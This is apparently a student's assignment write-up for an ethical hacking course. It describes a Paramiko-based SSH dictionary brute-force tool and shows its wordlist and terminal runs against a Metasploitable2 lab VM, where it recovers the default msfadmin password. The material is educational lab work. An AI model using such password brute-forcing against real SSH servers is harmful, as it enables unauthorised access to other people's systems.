Module: CSCI369 Ethical Hacking
Assignment: Assignment Q2
UOW Student number: 1103891
Full name: Jon Tan
Tutorial group: T03F

Concepts:

SSH (Secure Shell): It is a network protocol that allows a client machine to securely log in and execute commands on a remote machine over an encrypted machine.

Paramiko: A python library that implements and simplifies the SSH connection. It allows users to automate repetitive tasks and attacks.

How does the SSH brute force program work?

This program executes a dictionary-style password test with a file of 10 passwords that the user provides. The program iterates through each password in the file and tests it with the IP address and username provided.

If the password is ***incorrect***, the SSH server will reject the authentication causing Paramiko to throw an authentication exception. The program will then try the next password.

If the password is ***correct***, the SSH connection will be established successfully. The program runs the command (uname -a) to show that it has successfully connected to the machine then closes the connection.

Prerequisites:

- Assumptions: Paramiko has been installed on the machine.
- Paramiko requires a Virtual Environment.
- Navigate to the folder with the python file and run command below:
    - Run command: python3 -m venv <envName>

[Kali] Creation of virtual environment in folder.

```
┌──(root㉿kali)-[/home/kali/Documents/CSCI369/python/Assignment/Q2]
└─# python3 -m venv myvenv

┌──(root㉿kali)-[/home/kali/Documents/CSCI369/python/Assignment/Q2]
└─# ls
myvenv  paramiko_SSH.py  passwordFile.txt
```

- Create a text file with 10 passwords, or use the password file I have provided in the folder.
    - Files that I have provided are named
        - passwordFile_noValid.txt
        - passwordFile_valid.txt
- Ensure the text file is in the same directory as the python file for easier access.

[Kali] Text file of 10 passwords, one password per line.

```
┌──(root㉿kali)-[/home/kali/Documents/CSCI369/python/Assignment/Q2]
└─# cat passwordFile.txt
password
admin
superbooster
p@$$w0rd
123456
msfadmin
S1m@U0W
CoffeeNinja-11
!-033Oo..
helloWorld_
```

Execution:

Command to run code:

python3 paramiko_SSH.py

[Kali] Enter the required inputs

```
┌──(kali㉿kali)-[~/…/CSCI369/python/Assignment/Q2]
└─$ python3 paramiko_SSH.py
Author: JON TAN
Current Date: 20/02/2026
#####################################################################
                    # ═══ ** WARNING ** ═══ #
# ═══ Ensure to create a virtual environment for paramiko ═══ #
# ═══ To create venv, run command: python3 -m venv myvenv ═══ #
#####################################################################
Enter Target IP: 192.168.122.254
Enter Target Username: msfadmin
Enter Password List file path [one password per line]: passwordFile.txt
```

[Kali] Metasploitable2's system info prints after successful SSH connection

```
┌──(kali㉿kali)-[~/…/CSCI369/python/Assignment/Q2]
└─$ python3 paramiko_SSH.py
Author: JON TAN
Current Date: 20/02/2026
#####################################################################
                    # ═══ ** WARNING ** ═══ #
# ═══ Ensure to create a virtual environment for paramiko ═══ #
# ═══ To create venv, run command: python3 -m venv myvenv ═══ #
#####################################################################
Enter Target IP: 192.168.122.254
Enter Target Username[msfadmin]: msfadmin
Enter Password file path [one password per line]: passwordFile.txt
[*] Trying password:  password
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  admin
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  superbooster
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  p@$$w0rd
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  123456
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  msfadmin
[+] Successfully accessed SSH server!
[+] Password used: msfadmin

*** System Info ***
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

[Kali] If no password is found in the list, it will print the **highlighted** line

```
┌──(kali㉿kali)-[~/…/CSCI369/python/Assignment/Q2]
└─$ python3 paramiko_SSH.py
Author: JON TAN
Current Date: 20/02/2026
#################################################################
                    # ===== ** WARNING ** ===== #
# ===== Ensure to create a virtual environment for paramiko ===== #
# ===== To create venv, run command: python3 -m venv myvenv ===== #
#################################################################
Enter Target IP: 192.168.122.254
Enter Target Username[msfadmin]:
Enter Password file path [one password per line]: pwFile.txt
[*] Trying password:  password
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  root
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  admin
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  hello world
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  P@$$w0rd
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  P@$$w0rd1234
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  tommyCAT!!
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  CoffeeNinja
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  Black().hijack
[!] Authentication failed. Incorrect username or password ...

[*] Trying password:  [thisPasswordIsCORRECT]!
[!] Authentication failed. Incorrect username or password ...

[-] Password not found in the password file ...

┌──(kali㉿kali)-[~/…/CSCI369/python/Assignment/Q2]
└─$
```